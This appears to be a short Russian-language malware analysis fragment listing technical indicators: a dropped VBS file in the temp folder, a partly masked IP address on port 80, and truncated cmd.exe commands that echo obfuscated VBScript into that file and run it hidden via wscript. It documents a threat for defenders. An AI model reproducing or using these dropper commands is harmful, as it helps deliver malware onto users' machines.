Техническая информация
- %TEMP%\dlxqgx.vbs
- '31.##4.198.161':80
- '<SYSTEM32>\wscript.exe' "%TEMP%\DLXQGX.vBS"
- '<SYSTEM32>\cmd.exe' /c CD %temp% & @echo set U4aJ2kV7rR9yM1jP3pZ6yG2vF1x = createobject("wscript.shell") >DLXQGX.vBS & @echo Dim G9tJ9tS1cJ6jN4cR4iG4rA6gG6iJ7jK8bC7rZ9yR8rN0i >>DLXQGX.vBS & @echo Dim Z4lP7qU4gJ3lY...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c CD %temp% & @echo set U4aJ2kV7rR9yM1jP3pZ6yG2vF1x = createobject("wscript.shell") >DLXQGX.vBS & @echo Dim G9tJ9tS1cJ6jN4cR4iG4rA6gG6iJ7jK8bC7rZ9yR8rN0i >>DLXQGX.vBS & @echo Dim Z4lP7qU4gJ3lY...